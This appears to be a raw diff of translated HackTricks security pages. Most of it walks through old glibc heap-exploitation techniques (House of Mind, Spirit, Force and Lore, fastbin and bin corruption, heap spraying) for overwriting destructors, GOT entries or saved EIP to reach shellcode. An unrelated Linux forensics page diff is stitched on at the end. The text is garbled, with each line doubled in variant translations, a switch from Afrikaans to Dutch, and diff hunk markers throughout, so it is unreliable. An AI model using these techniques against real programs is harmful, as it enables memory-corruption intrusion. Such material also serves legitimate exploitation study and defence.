Frontlink word geroep wanneer iets vrygelaat word en geen van sy aangrensende stukke vry is nie, unlink() word nie geroep nie, maar frontlink() word direk geroep.
Frontlink word genoem wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, unlink() word nie geroep nie, maar frontlink() word direk geroep.
'n Nuttige kwesbaarheid wanneer die aangevalle malloc nooit vrygelaat word nie (free()).
'n Nuttige kwesbaarheid wanneer die aangevalle malloc nooit vrygestel word (free()) nie.
Benodig:
'n Buffer wat oorstroom kan word met die insetfunksie
'n Buffer wat aangrensend daaraan is wat vrygelaat moet word en waarvan die fd-veld van sy kop verander sal word deur die oorloop van die vorige buffer
'n Buffer wat aangrensend daaraan is wat vrygestel moet word en waarvan die fd-veld van sy kop verander sal word deur die oorloop van die vorige buffer
'n Buffer om vry te laat met 'n groter grootte as 512 maar kleiner as die vorige buffer
'n Buffer om vry te stel met 'n groter grootte as 512 maar kleiner as die vorige buffer
'n Buffer wat voor stap 3 verklaar is wat die prev\_size van hierdie buffer kan oorskryf
Op hierdie manier, deur twee mallocs onbeheerd te oorskryf en een beheerd maar slegs een keer vry te laat, kan ons 'n aanval uitvoer.
Op hierdie manier kan ons beheerloos in twee mallocs oorskryf en in een beheerloos, maar slegs een keer vrygestel, 'n aanval uitvoer.
**Kwesbaarheid van dubbele free()**
**Kwesbaarheid double free()**
As free() twee keer met dieselfde aanwyser geroep word, is daar twee bins wat na dieselfde adres wys.
As free() twee keer met dieselfde punt geroep word, is daar twee bins wat na dieselfde adres wys.
As ons een wil hergebruik, sal dit sonder probleme toegewys word. As ons die ander wil gebruik, sal dieselfde spasie toegewys word, sodat die "fd" en "bk" aanwysers vervals word met die data wat die vorige toewysing sal skryf.
As 'n mens een wil hergebruik, sal dit sonder probleme toegewys word. As 'n mens 'n ander wil gebruik, sal dit dieselfde spasie toegewys word, sodat die "fd" en "bk"-punte vervals word met die data wat die vorige toewysing skryf.
**Na free()**
'n Voorheen vrygelaatde aanwyser word weer sonder beheer gebruik.
'n Voorheen vrygestelde punt word weer sonder beheer gebruik.
## **8 Heap-oorvloeiings: Gevorderde aanvalle**
@ -729,7 +436,7 @@ Die Unlink() en FrontLink() tegnieke is verwyder toe die unlink()-funksie gewysi
**The house of mind**
Slegs een oproep aan free() is nodig om arbitrêre kode uit te voer. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige stuk oorstroom kan word en vrygelaat kan word.
Slegs een oproep aan free() is nodig om willekeurige kode uit te voer. Dit is belangrik om 'n tweede stuk te soek wat deur 'n vorige stuk oorstroom en vrygestel kan word.
'n Oproep aan free() veroorsaak die aanroep van public\_fREe(mem), dit doen:
@ -739,11 +446,11 @@ mchunkptr p;
p = mem2chunk(mes); —> Gee 'n aanwyser na die adres waar die stuk begin (mem-8)
p = mem2chunk(mes); —> Gee 'n punt na die adres waar die stuk begin (mem-8)
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
@ -751,12 +458,12 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
}
In \[1] word die grootteveld en die NON\_MAIN\_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap\_for\_ptr() uitgevoer word wat 'n and met "mem" doen en die minste beduidende 2.5 byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar\_ptr (asof dit 'n struct heap\_info is)
In \[1] word die grootteveld en die NON\_MAIN\_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap\_for\_ptr() uitgevoer word wat 'n "and" op "mem" toepas en die minste beduidende 2.5 byte nul maak (in ons geval van 0x0804a000 maak dit 0x08000000) en toegang kry tot 0x08000000->ar\_ptr (soos 'n struct heap\_info).
Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer in 0x0804a000 en 'n stuk in **0x081002a0** vrygelaat gaan word, kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld **0x0804a000**. Wanneer hierdie tweede stuk vrygelaat word, sal dit vind dat heap\_for\_ptr(ptr)->ar\_ptr die waarde is wat ons in 0x08100000 geskryf het (want dit pas die and toe op 0x081002a0 wat ons vroeër gesien het en daarvandaan kry dit die waarde van die eerste 4 byte, die ar\_ptr)
Op hierdie manier, as ons byvoorbeeld 'n stuk kan beheer in 0x0804a000 en 'n stuk in **0x081002a0** vrygestel gaan word, kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld **0x0804a000**. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap\_for\_ptr(ptr)->ar\_ptr die waarde wat ons in 0x08100000 geskryf het, teruggee (want dit pas die "and" toe op 0x081002a0 wat ons vroeër gesien het en daarvandaan die waarde van die eerste 4 byte neem, die ar\_ptr).
Op hierdie manier word \_int\_free(ar\_ptr, mem) geroep, dit wil sê, **\_int\_free(0x0804a000, 0x081002a0)**\
**\_int\_free(mstate av, Void\_t\* mem){**\
Dus, _int\_free(ar\_ptr, mem) word geroep, dit is, **_int\_free(0x0804a000, 0x081002a0)**\
**_int\_free(mstate av, Void\_t\* mem){**\
…\
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
@ -767,33 +474,33 @@ fwd->bk = p;
..}
Soos ons vantevore gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygelaat gaan word, skryf.
Soos ons voorheen gesien het, kan ons die waarde van av beheer, want dit is wat ons in die stuk wat vrygestel gaan word, skryf.
Soos unsorted\_chunks gedefinieer word, weet ons dat:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Daarom, as ons die waarde van \_\_DTOR\_END\_\_-12 in av->bins\[2] skryf, sal die laaste instruksie in \_\_DTOR\_END\_\_ die adres van die tweede stuk skryf.
Dus, as ons die waarde van \_\_DTOR\_END\_\_-12 in av->bins\[2] skryf, sal die laaste instruksie in \_\_DTOR\_END\_\_ die adres van die tweede stuk skryf.
Met ander woorde, aan die begin van die eerste stuk moet ons die adres van \_\_DTOR\_END\_\_-12 baie keer plaas omdat av->bins\[2] dit daarvandaan sal kry.
Met ander woorde, aan die begin van die eerste stuk moet ons die adres van \_\_DTOR\_END\_\_-12 baie keer plaas, want dit is waar av->bins\[2] dit sal neem.
Op die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap\_for\_ptr() dink dat die ar\_ptr aan die begin van die eerste stuk is en av->bins\[2] daarvandaan kry.
Op die adres waar die adres van die tweede stuk met die laaste 5 nulle val, moet ons die adres van hierdie eerste stuk skryf sodat heap\_for\_ptr() dink dat die ar\_ptr aan die begin van die eerste stuk is en av->bins\[2] daaruit neem.
In die tweede stuk en danksy die eerste, oorskryf ons die prev\_size met 'n sprong 0x0c en die grootte met iets om -> NON\_MAIN\_ARENA te aktiveer
In die tweede stuk en danksy die eerste, oorskryf ons die prev\_size met 'n sprong 0x0c en die grootte met iets om NON\_MAIN\_ARENA te aktiveer.
Daarna plaas ons 'n klomp nops in die tweede stuk en uiteindelik die shellcode
Daarna sit ons 'n klomp nops in stuk 2 en uiteindelik die shellcode.
Op hierdie manier sal \_int\_free(STUK1, STUK2) geroep word en die instruksies volg om die adres van prev\_size van STUK2 in \_\_DTOR\_END\_\_ te skryf wat dan na die shellcode sal spring.
Op hierdie manier sal _int\_free(TROZO1, TROZO2) geroep word en sal die instruksies volg om die adres van prev\_size van TROZO2 in \_\_DTOR\_END\_\_ te skryf wat na die shellcode sal spring.
Om hierdie tegniek toe te pas, is daar 'n paar vereistes wat die payload 'n bietjie meer kompliseer.
Om hierdie tegniek toe te pas, is daar 'n paar meer vereistes wat die payload 'n bietjie meer kompliseer.
Hierdie tegniek is nie meer toepaslik nie omdat bykans dieselfde pleister as vir unlink toegepas is. Hulle vergelyk of die nuwe plek waarna dit wys, ook na hom wys.
Hierdie tegniek is nie meer toepaslik nie omdat byna dieselfde pleister as vir unlink toegepas is. Dit vergelyk of die nuwe plek waarna dit wys, ook na hom wys.
**Fastbin**
Dit is 'n variasie van The house of mind
Ons wil die volgende kode uitvoer waarop ons kom na die eerste toetsing van die \_int\_free() funksie
Ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die \_int\_free() funksie
fb = &(av->fastbins\[fastbin\_index(size)] —> Waar fastbin\_index(sz) —> (sz >> 3) - 2
@ -803,59 +510,59 @@ p->fd = \*fb
\*fb = p
Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, op hierdie adres sal die adres na die oorskryfde stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die dtors-adresse is. Meer presies, av->max\_fast moet in die adres wees wat ons gaan oorskryf.
Op hierdie manier, as dit in "fb" geplaas word, gee dit die adres van 'n funksie in die GOT, op hierdie adres sal die adres van die oorskryfde stuk geplaas word. Hiervoor sal dit nodig wees dat die arena naby die dtors-adresse is. Meer presies, dat av->max\_fast by die adres is wat ons gaan oorskryf.
Omdat ons met The House of Mind gesien het dat ons die posisie van die av beheer het.
Dus as ons 'n grootte van 8 + NON\_MAIN\_ARENA + PREV\_INUSE in die grootteveld plaas —> fastbin\_index() sal fastbins\[-1] teruggee, wat na av->max\_fast sal wys
In hierdie geval sal av->max\_fast die adres wees wat oorskryf word (nie waarheen dit wys nie, maar daardie posisie sal oorskryf word).
In hierdie geval sal av->max\_fast die adres wees wat oorskryf word (nie waarna dit wys nie, maar daardie posisie sal oorskryf word).
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 8 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val).
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 8 is, hoef ons net 'n grootte groter as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val).
Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system\_mem. av->system\_mem is 1848 byte verder.
As gevolg van die nulle van \_DTOR\_END\_ en die min adres in die GOT, is geen van hierdie afdresseringe geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stoor aan te val.
As gevolg van die nulle van \_DTOR\_END\_ en die min adres in die GOT, is geen van hierdie adresse geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stok aan te val.
'n Ander manier om aan te val is om die **av** na die stoor te rig.
'n Ander aanvalsmanier is om die **av** na die stok te rig.
As ons die grootte verander sodat dit 16 in plaas van 8 is, dan: fastbin\_index() sal fastbins\[0] teruggee en ons kan dit gebruik om die stoor aan te val.
As ons die grootte verander sodat dit 16 in plaas van 8 is, dan: fastbin\_index() sal fastbins\[0] teruggee en ons kan dit gebruik om die stok te oorskryf.
Hiervoor mag daar geen kanarie of vreemde waardes in die stoor wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET
Hiervoor mag daar geen kanarie of vreemde waardes in die stok wees nie, ons moet eintlik hier wees: 4 nulbyte + EBP + RET
Die 4 nulbyte is nodig sodat die **av** na hierdie adres sal wees en die eerste element van 'n **av** is die mutex wat 0 moet wees.
Die **av->max\_fast** sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te omseil.
In die **av->fastbins\[0]** sal die adres van **p** oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring.
In die **av->fastbins\[0]** sal met die adres van **p** oorskryf word en dit sal die RET wees, sodat dit na die shellcode sal spring.
Daarbenewens, in **av->system\_mem** (1484 byte bo die posisie in die stoor) sal daar genoeg rommel wees wat ons sal toelaat om die toetsing wat gedoen word, te omseil.
Daarbenewens, in **av->system\_mem** (1484 byte bo die posisie in die stok) sal daar genoeg rommel wees wat ons sal toelaat om die toetsing wat gedoen word, te omseil.
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 16 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val wat na die grootteveld van die nuwe valse stuk kom).
Daarbenewens moet die aangrensende stuk aan die vrygestelde stuk groter as 8 wees -> Omdat ons gesê het dat die grootte van die vrygestelde stuk 16 is, hoef ons net 'n grootte groter as 8 in hierdie valse stuk te plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet ons aan die begin 'n jmp plaas wat in nops val wat na die grootteveld van die nuwe valse stuk kom).
**The House of Spirit**
In hierdie geval wil ons 'n aanwyser na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser op die stoor onder 'n moontlike oorloop na 'n veranderlike is).
In hierdie geval wil ons 'n aanwyser na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die aanwyser op die stok onder 'n moontlike oorloop na 'n veranderlike wys).
Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek geldig nie, die grootte van die valse stuk moet kleiner wees as av->max\_fast en meer spesifiek gelyk aan die grootte wat versoek word in 'n toekomstige oproep na malloc()+8. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.
Sodoende kan ons hierdie aanwyser laat wys waarheen ook al. Tog is nie enige plek geldig nie, die grootte van die valse stuk moet kleiner wees as av->max\_fast en meer spesifiek gelyk aan die grootte wat aangevra word in 'n toekomstige oproep na malloc()+8. Daarom, as ons weet dat na hierdie kwesbare aanwyser 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48.
As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die veranderlike malloc-aanwyser wys na die volgende 4 byte (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system\_mem.
As die program byvoorbeeld die gebruiker vra vir 'n nommer, kan ons 48 invoer en die veranderbare malloc-aanwyser wys na die volgende 4 byte (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Daarbenewens moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system\_mem.
Indien hieraan voldoen word, wanneer die volgende malloc wat ons gesê het malloc(40) is, geroep word, sal die adres van die EBP aan hom toegewys word. Indien die aanvaller ook kan beheer wat in hierdie malloc geskryf word, kan hy beide die EBP en die EIP met die adres wat hy wil, oorskryf.
Ek dink dit is omdat wanneer dit vrygelaat word, free() sal onthou dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, in die adres wat na die EBP van die stoor wys, is, sodat dit daardie adres toeken.
Ek dink dit is omdat wanneer dit vrygelaat word free() sal dit bewaar dat daar 'n stuk van die perfekte grootte vir die nuwe malloc() wat gereserveer moet word, op die adres wat na die EBP van die stok wys, is, sodat dit daardie adres toeken.
**The House of Force**
Dit is nodig:
* 'n oorloop na 'n stuk wat die wilderness kan oorskryf
* 'n oorloop na 'n stuk wat dit moontlik maak om die wilderness te oorskryf
* 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
* 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word
Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige versoek om geheue wat groot genoeg is, in \_int\_malloc() hanteer sal word sonder om die heap uit te brei.
Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige versoek om geheue groot genoeg te behandel in \_int\_malloc() sonder om die heap uit te brei
Die tweede is om die av->top te verander sodat dit wys na 'n geheuegebied onder die beheer van die aanvaller, soos die stoor. In av->top sal \&EIP - 8 geplaas word.
Die tweede is om die av->top te verander sodat dit wys na 'n geheuegebied onder die beheer van die aanvaller, soos die stok. In av->top sal \&EIP - 8 geplaas word.
Ons moet av->top oorskryf sodat dit wys na die geheuegebied onder die beheer van die aanvaller:
@ -865,46 +572,46 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek is. Dus as \&EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, dan is die hoeveelheid wat gereserveer moet word in die beheerde malloc sodat av->top na $EIP-8 wys vir die volgende malloc():
Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() aangevra word. Dus as \&EIP-8 in 0xbffff224 is en av->top bevat 0x080c2788, dan is die hoeveelheid wat ons moet reserver in die beheerde malloc sodat av->top na $EIP-8 wys vir die volgende malloc() sal wees:
0xbffff224 - 0x080c2788 = 3086207644.
Op hierdie manier word die veranderde waarde in av->top gestoor en die volgende malloc sal na die EIP wys en dit kan oorskryf.
Op hierdie manier word die veranderde waarde in av->top bewaar en die volgende malloc sal na die EIP wys en dit kan oorskryf.
Dit is belangrik om te weet dat die grootte van die nuwe wilderness-stuk groter moet wees as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na \&EIP-8 wys, sal die grootte presies in die EBP-veld van die stoor wees.
Dit is belangrik om te weet dat die grootte van die nuwe wilderness-stuk groter moet wees as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na \&EIP-8 wys, sal die grootte presies in die EBP-veld van die stok wees.
**The House of Lore**
**Korrupsie SmallBin**
Die vrygestelde stukke word in die bin ingevoeg op grond van hul grootte. Maar voordat hulle ingevoeg word, word hulle in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygestel word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas.
Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat dit ingevoer word, word dit in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas as dit vrygelaat word nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan help, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in die toepaslike bin geplaas.
Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max\_fast (gewoonlik 72) en minder as MIN\_LARGE\_SIZE (512).
As daar 'n stuk van die regte grootte in die bin is, word dit teruggegee nadat dit ontkoppel is:
As daar 'n stuk in die bin is wat die regte grootte het vir wat gevra word, word dit teruggegee nadat dit ontkoppel is:
bck = victim->bk; Wys na die vorige stuk, dit is die enigste inligting wat ons kan verander.
bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stoor wys, sal die volgende gereserveerde stuk hierdie adres kry
bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stok wys, sal die volgende gereserveerde stuk hierdie adres kry
bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys
Daar is nodig:
Reserveer twee mallocs, zodat de eerste kan worden overschreven nadat de tweede is vrijgegeven en in zijn bin is geplaatst (dwz een malloc van een grotere omvang dan de tweede malloc voordat de overflow plaatsvindt).
Reserveer twee mallocs, zodat de eerste kan worden overschreven nadat de tweede is vrijgegeven en in zijn bin is geplaatst (dwz een malloc van een grotere grootte dan de tweede malloc voor de overflow).
Laat de malloc waarvan het adres door de aanvaller wordt gekozen, worden gecontroleerd door de aanvaller.
De malloc die de aanvaller kiest, moet door de aanvaller kunnen worden gecontroleerd.
Het doel is als volgt: als we een overflow kunnen veroorzaken naar een heap die een reeds vrijgegeven en in zijn bin geplaatst stuk eronder heeft, kunnen we zijn bk-pointer wijzigen. Door de bk-pointer te wijzigen en dit stuk het eerste in de bin-lijst wordt en wordt gereserveerd, zal de bin worden misleid en geloven dat het volgende stuk in de valse richting ligt die we hebben opgegeven (bijvoorbeeld naar de stack of GOT). Als er dan opnieuw een stuk wordt gereserveerd en de aanvaller er machtigingen voor heeft, zal het stuk op de gewenste locatie worden gegeven en kan erin worden geschreven.
Het doel is als volgt: als we een overflow kunnen veroorzaken naar een heap die een vrijgegeven stuk eronder heeft en in zijn bin staat, kunnen we zijn bk-pointer wijzigen. Door de bk-pointer te wijzigen en dit stuk het eerste in de bin-lijst wordt en wordt gereserveerd, zal de bin worden misleid en geloven dat het volgende stuk in de valse richting ligt die we hebben opgegeven (bijvoorbeeld naar de stack of GOT). Als er dan een ander stuk wordt gereserveerd en de aanvaller er machtigingen voor heeft, zal het stuk op de gewenste locatie worden gegeven en kan erin worden geschreven.
Na het vrijgeven van het gewijzigde stuk is het nodig om een groter stuk te reserveren dan het vrijgegeven stuk, zodat het gewijzigde stuk uit de unsorted bins komt en in zijn bin wordt geplaatst.
Na het vrijgeven van het gewijzigde stuk is het nodig om een groter stuk te reserveren dan het vrijgegeven stuk, zodat het gewijzigde stuk uit de unsorted bins komt en in zijn bin wordt geplaatst.
Eenmaal in zijn bin is het tijd om de bk-pointer te wijzigen via de overflow zodat deze wijst naar het adres dat we willen overschrijven.
De bin moet wachten tot er voldoende keren een beroep wordt gedaan op malloc() om de gewijzigde bin opnieuw te gebruiken en de bin te misleiden door te geloven dat het volgende stuk zich op de valse locatie bevindt. Vervolgens wordt het gewenste stuk gegeven.
De bin moet wachten tot er voldoende keren malloc() is aangeroepen om de gewijzigde bin opnieuw te gebruiken en de bin te misleiden door te geloven dat het volgende stuk zich op het valse adres bevindt. Vervolgens wordt het gewenste stuk gegeven.
Om de kwetsbaarheid zo snel mogelijk te activeren, is het ideaal om het volgende te doen: reserveer het kwetsbare stuk, reserveer het stuk dat zal worden gewijzigd, geef dit stuk vrij, reserveer een groter stuk dan het te wijzigen stuk, wijzig het stuk (kwetsbaarheid), reserveer een stuk van dezelfde grootte als het aangetaste stuk en reserveer een tweede stuk van dezelfde grootte dat zal wijzen naar het gekozen adres.
Om de kwetsbaarheid zo snel mogelijk te activeren, is het ideaal om: het kwetsbare stuk te reserveren, het stuk dat zal worden gewijzigd te reserveren, dit stuk vrij te geven, een groter stuk dan het te wijzigen stuk te reserveren, het stuk te wijzigen (kwetsbaarheid), een stuk van dezelfde grootte als het aangetaste stuk te reserveren en een tweede stuk van dezelfde grootte te reserveren dat zal wijzen naar het gekozen adres.
Om deze aanval te beschermen, wordt de typische controle gebruikt dat het stuk "niet" vals is: wordt gecontroleerd of bck->fd naar het slachtoffer wijst. Met andere woorden, in ons geval, als de fd-pointer van het valse stuk dat naar de stack wijst, naar het slachtoffer wijst. Om deze bescherming te omzeilen, moet de aanvaller op de een of andere manier (waarschijnlijk via de stack) in staat zijn om het adres van het slachtoffer op de juiste plaats te schrijven. Zodat het lijkt op een echt stuk.
Om deze aanval te beschermen, wordt de typische controle gebruikt dat het stuk "niet" vals is: wordt gecontroleerd of bck->fd naar het slachtoffer wijst. Met andere woorden, in ons geval, als de fd*-pointer van het valse stuk dat naar de stack wijst naar het slachtoffer. Om deze bescherming te omzeilen, moet de aanvaller op de juiste manier kunnen schrijven (waarschijnlijk via de stack) naar het juiste adres van het slachtoffer. Zo lijkt het een echt stuk.
**Corruptie LargeBin**
@ -912,38 +619,14 @@ Dezelfde vereisten als voorheen zijn nodig, en nog wat meer, bovendien moeten de
De aanval is vergelijkbaar met de vorige, dat wil zeggen, het bk-pointer moet worden gewijzigd en al die oproepen naar malloc() zijn nodig, maar bovendien moet de grootte van het gewijzigde stuk worden aangepast zodat die grootte - nb < MINSIZE is.
Bijvoorbeeld, het instellen van de grootte op 1552 zorgt ervoor dat 1552 - 1544 = 8 < MINSIZE (de aftrek kan niet negatief zijn omdat een unsigned wordt vergeleken).
Bijvoorbeeld, het instellen van de grootte op 1552 zodat 1552 - 1544 = 8 < MINSIZE (de aftrek kan niet negatief zijn omdat een unsigned wordt vergeleken).
Bovendien is er een patch geïntroduceerd om het nog ingewikkelder te maken.
Er is ook een patch geïntroduceerd om het nog ingewikkelder te maken.
**Heap Spraying**
Het komt er in feite op neer om zoveel mogelijk geheugen te reserveren voor heaps en deze te vullen met een nop-kussen gevolgd door een shellcode. Bovendien wordt 0x0c gebruikt als kussen. Er zal worden geprobeerd om naar het adres 0x0c0c0c0c te springen, dus als een adres waarop wordt overgeschreven met dit kussen, zal daar naartoe worden gesprongen. De tactiek is in feite om zoveel mogelijk te reserveren om te zien of er een pointer wordt overschreven en naar 0x0c0c0c0c te springen in de hoop dat daar nops zijn.
Het komt er in feite op neer om zoveel mogelijk geheugen te reserveren voor heaps en deze te vullen met een nop-kussen gevolgd door een shellcode. Bovendien wordt 0x0c gebruikt als kussen. Er zal worden geprobeerd om naar het adres 0x0c0c0c0c te springen, dus als een adres dat met dit kussen wordt overschreven, zal daar naartoe worden gesprongen. De tactiek is in feite om zoveel mogelijk te reserveren om te zien of er een pointer wordt overschreven en naar 0x0c0c0c0c te springen in de hoop dat daar nops zijn.
**Heap Feng Shui**
Dit houdt in dat door reserveringen en vrijgaven het geheugen wordt gezaaid zodat er gereserveerde stukken tussen vrije stukken blijven. Het te overstromen buffer zal zich in een van deze stukken bevinden.
## Interessante cursussen
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **Verwysings**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere manieren om HackTricks te ondersteunen:
* Als je je **bedrijf geadverteerd wilt zien in HackTricks** of **HackTricks wilt downloaden in PDF-formaat**, bekijk dan de [**ABONNEMENTSPLANNEN**](https://github.com/sponsors/carlospolop)!
* Koop de [**officiële PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), onze collectie exclusieve [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit je aan bij de** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of de [**telegramgroep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel je hacktrucs door PR's in te dienen bij de** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
</details>
Dit houdt in dat door reserveringen en vrijgaven het geheugen zo wordt georganiseerd dat er gereserveerde stukken tussen vrije stukken blijven. Het te overstromen buffer zal zich in een van deze stukken bevinden.

View file

@ -1,10 +1,10 @@
# Linux Forensics
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\
Kry Vandaag Toegang:
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -31,7 +31,7 @@ Eerstens word dit aanbeveel om 'n **USB** met **bekende goeie binêre lêers en
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Nadat jy die stelsel ingestel het om goeie en bekende bineêre lêers te gebruik, kan jy begin **om 'n paar basiese inligting te onttrek**:
Sodra jy die stelsel ingestel het om goeie en bekende binêre lêers te gebruik, kan jy begin **om 'n paar basiese inligting te onttrek**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -60,14 +60,14 @@ Terwyl jy die basiese inligting bekom, moet jy vir vreemde dinge soos die volgen
### Geheue Dump
Om die geheue van die lopende stelsel te bekom, word dit aanbeveel om [**LiME**](https://github.com/504ensicsLabs/LiME) te gebruik.\
Om dit te **kompileer**, moet jy dieselfde **kernel** gebruik as die slagoffer se masjien.
Om dit te **kompileer**, moet jy dieselfde kernel gebruik as die slagoffer se masjien.
{% hint style="info" %}
Onthou dat jy **LiME of enige ander ding nie kan installeer** op die slagoffer se masjien nie, aangesien dit verskeie veranderinge daaraan sal maak
{% endhint %}
Dus, as jy 'n identiese weergawe van Ubuntu het, kan jy `apt-get install lime-forensics-dkms` gebruik\
In ander gevalle moet jy [**LiME**](https://github.com/504ensicsLabs/LiME) van github aflaai en dit met die korrekte kernelkoppe kompileer. Om die **presiese kernelkoppe** van die slagoffer se masjien te bekom, kan jy net die gids `/lib/modules/<kernel weergawe>` na jou masjien kopieer, en dan LiME daarmee **kompileer**:
